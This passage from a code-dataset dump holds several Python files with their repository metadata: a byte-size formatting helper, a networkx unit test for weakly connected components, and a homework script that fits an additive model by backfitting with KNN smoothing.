saved.\")\n\n","repo_name":"tanchuanxin/cs3245_homework_4","sub_path":"word2vec.py","file_name":"word2vec.py","file_ext":"py","file_size_in_byte":1633,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"72497989840","text":"def human_readable_byte_size(nbytes: int) -> str:\n    \"\"\"\n\n    Parameters\n    ----------\n    nbytes : int\n\n    Returns\n    -------\n    Human readable string : str\n\n    \"\"\"\n    suffixes = ['B', 'KB', 'MB', 'GB', 'TB', 'PB']\n    i = 0\n    while nbytes >= 1024 and i < len(suffixes) - 1:\n        nbytes /= 1024.0\n        i += 1\n    f = ('%.2f' % nbytes).rstrip('0').rstrip('.')\n    return f\"{f} {suffixes[i]}\"\n","repo_name":"royerlab/aydin","sub_path":"aydin/util/misc/units.py","file_name":"units.py","file_ext":"py","file_size_in_byte":407,"program_lang":"python","lang":"en","doc_type":"code","stars":128,"dataset":"github-code","pt":"3"}
+{"seq_id":"19235483172","text":"#!/usr/bin/env python\nfrom nose.tools import *\nimport networkx as nx\nfrom networkx import NetworkXError\n\nclass TestWeaklyConnected:\n\n    def setUp(self):\n        self.gc=[]\n        G=nx.DiGraph()\n        G.add_edges_from([(1,2),(2,3),(2,8),(3,4),(3,7),\n                          (4,5),(5,3),(5,6),(7,4),(7,6),(8,1),(8,7)])\n        C=[[3, 4, 5, 7], [1, 2, 8],  [6]]\n        self.gc.append((G,C))\n\n        G= nx.DiGraph()\n        G.add_edges_from([(1,2),(1,3),(1,4),(4,2),(3,4),(2,3)])\n        C = [[2, 3, 4],[1]]\n        self.gc.append((G,C))\n\n        G = nx.DiGraph()\n        G.add_edges_from([(1,2),(2,3),(3,2),(2,1)])\n        C = [[1, 2, 3]]\n        self.gc.append((G,C))\n\n        # Eppstein's tests\n        G = nx.DiGraph({ 0:[1],1:[2,3],2:[4,5],3:[4,5],4:[6],5:[],6:[]})\n        C = [[0],[1],[2],[3],[4],[5],[6]]\n        self.gc.append((G,C))\n    \n        G = nx.DiGraph({0:[1],1:[2,3,4],2:[0,3],3:[4],4:[3]})\n        C = [[0,1,2],[3,4]]\n        self.gc.append((G,C))\n\n\n    def test_weakly_connected_components(self):\n        wcc=nx.weakly_connected_components\n        cc=nx.connected_components\n        for G,C in self.gc:\n            U=G.to_undirected()\n            w=sorted([sorted(g) for g in wcc(G)])\n            c=sorted([sorted(g) for g in cc(U)])\n            assert_equal(w,c)\n\n    def test_number_weakly_connected_components(self):\n        wcc=nx.number_weakly_connected_components\n        cc=nx.number_connected_components\n        for G,C in self.gc:\n            U=G.to_undirected()\n            w=wcc(G)\n            c=cc(U)\n            assert_equal(w,c)\n\n    def test_weakly_connected_component_subgraphs(self):\n        wcc=nx.weakly_connected_component_subgraphs\n        cc=nx.connected_component_subgraphs\n        for G,C in self.gc:\n            U=G.to_undirected()\n            w=sorted([sorted(g.nodes()) for g in wcc(G)])\n            c=sorted([sorted(g.nodes()) for g in cc(U)])\n            assert_equal(w,c)\n        G,C=self.gc[0]\n        G.add_edge(1,2,eattr='red')\n        G.node[1]['nattr']='blue'\n        G.graph['gattr']='green'\n        sgs=wcc(G)[0]\n        assert_equal(sgs[1][2]['eattr'],'red')\n        assert_equal(sgs.node[1]['nattr'],'blue')\n        assert_equal(sgs.graph['gattr'],'green')\n        sgs[1][2]['eattr']='blue'\n        assert_equal(G[1][2]['eattr'],'red')\n        assert_equal(sgs[1][2]['eattr'],'blue')\n\n    def test_is_weakly_connected(self):\n        wcc=nx.is_weakly_connected\n        cc=nx.is_connected\n        for G,C in self.gc:\n            U=G.to_undirected()\n            assert_equal(wcc(G),cc(U))\n\n\n    def test_connected_raise(self):\n        G=nx.Graph()\n        assert_raises(NetworkXError,nx.weakly_connected_components,G)\n        assert_raises(NetworkXError,nx.number_weakly_connected_components,G)\n        assert_raises(NetworkXError,nx.weakly_connected_component_subgraphs,G)\n        assert_raises(NetworkXError,nx.is_weakly_connected,G)\n\n","repo_name":"miniBloq/v0.83","sub_path":"source/Bin/Minibloq/lang/PPythonWin/v2.7.5.1/App/Lib/site-packages/networkx/algorithms/components/tests/test_weakly_connected.py","file_name":"test_weakly_connected.py","file_ext":"py","file_size_in_byte":2898,"program_lang":"python","lang":"en","doc_type":"code","stars":82,"dataset":"github-code","pt":"3"}
+{"seq_id":"70200819922","text":"#!/usr/bin/env python3\n\nimport argparse\nimport numpy as np\nfrom sklearn.neighbors import KNeighborsRegressor\nfrom scipy.interpolate import interp1d\n\nimport sys\nimport csv\n# A useful function for calculating the nearest neighbors:\n#   neighbors.KNeighborsRegressor(n_neighbors)\n\n# Use linear interpolation to predict new values on the test data\n#   interp1d\n\nclass additivemodel(object):\n  \"\"\"docstring for additivemodel\"\"\"\n  def __init__(self):\n    super(additivemodel, self).__init__()\n    self.isTrained = False\n    self.g = []\n    self.n = 0\n    self.p = 0\n    self.X = []\n    self.interp1dmodel = []\n\n  def fit(self, X, y):\n    # convert list to np array\n    X = np.array(X).astype(float)\n    y = np.array(y).astype(float)  \n\n    # x matrix, for inerpolation\n    self.X = X\n    # g matrix, init to 0.0\n    self.g = np.zeros(X.shape)\n\n    # n: number of samples \n    self.n = X.shape[0]\n\n    # p: number of variables\n    self.p = X.shape[1]\n\n    # alpha_hat, avg of y\n    self.alpha_hat = np.average(y)\n\n    # iterate for 25 times\n    for i in range(0, 25):\n      # for every variable\n      for j in range(0, self.p):\n        r_j = y - self.alpha_hat - (np.sum(self.g, 1) - self.g[:, j])\n        self.g[:, j] = self.smooth(X[:, j], r_j) \n        self.g[:, j] = self.g[:, j] - np.average(self.g[:, j])\n    \n    # backfiting algorithm end\n    # g matrix is ready \n    self.isTrained = True\n    self._interpolate()\n\n\n  # gen interpolate model \n  def _interpolate(self):\n    # for every variable j\n    for j in range(0, self.p):\n      col_x = self.X[:,j]\n      col_y = self.g[:,j]\n      order = col_x.argsort()\n      self.interp1dmodel.append(interp1d(col_x[order], col_y[order]))\n\n  def predict(self, X):\n    # use model g to predict on X\n    # for every variable j\n    X = np.array(X).astype(float)\n    \n    # 1 * n, row np vector\n    predict_y = np.zeros((1, X.shape[0]))\n    for j in range(0, self.p):\n      # 1 * n, row list vector\n      g = self.interp1dmodel[j](X[:,j])\n      predict_y += g\n    predict_y += self.alpha_hat\n    return predict_y[0]\n\n  def smooth(self, X, y):\n    # KNN algorithm for smooth\n    nbrs = KNeighborsRegressor(n_neighbors = 20)\n    X = X.reshape(-1, 1)\n    nbrs.fit(X, y)\n    proba = nbrs.predict(X)\n    return proba\n\n# Save the results as \"results.csv\"\ndef main():\n  if len(sys.argv) < 3:\n    print(\"Usage: <training file> <test file>\")\n    return \n  trainfile = sys.argv[1]\n  testfile = sys.argv[2]\n  train_y = []\n  train_X = []\n  \n  # read train data\n  with open(trainfile, 'r') as csvfile:\n    trainreader = csv.reader(csvfile, delimiter = ',')\n    for row in trainreader:\n       y = row[0]\n\n       X = row[1:] \n\n       train_y.append(y)\n       train_X.append(X)\n  test_X = []\n  \n  # read test data\n  with open(testfile, 'r') as csvfile:\n    testreader = csv.reader(csvfile, delimiter = ',')\n    for row in testreader:\n       X = row \n       test_X.append(X)\n  model = additivemodel()\n  model.fit(train_X, train_y)\n  predict_y = model.predict(test_X)\n  \n  # save result\n  save(predict_y)  \n\ndef save(x):\n  with open(\"results.csv\", 'w', newline='') as csvfile:\n    csvwriter = csv.writer(csvfile, delimiter = ',')\n    for row in x:\n      csvwriter.writerow([row])\n\nif __name__ == '__main__':\n  main()","repo_name":"zjusbo/stat665","sub_path":"lab2/pset02.py","file_name":"pset02.py","file_ext":"py","file_size_in_byte":3235,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}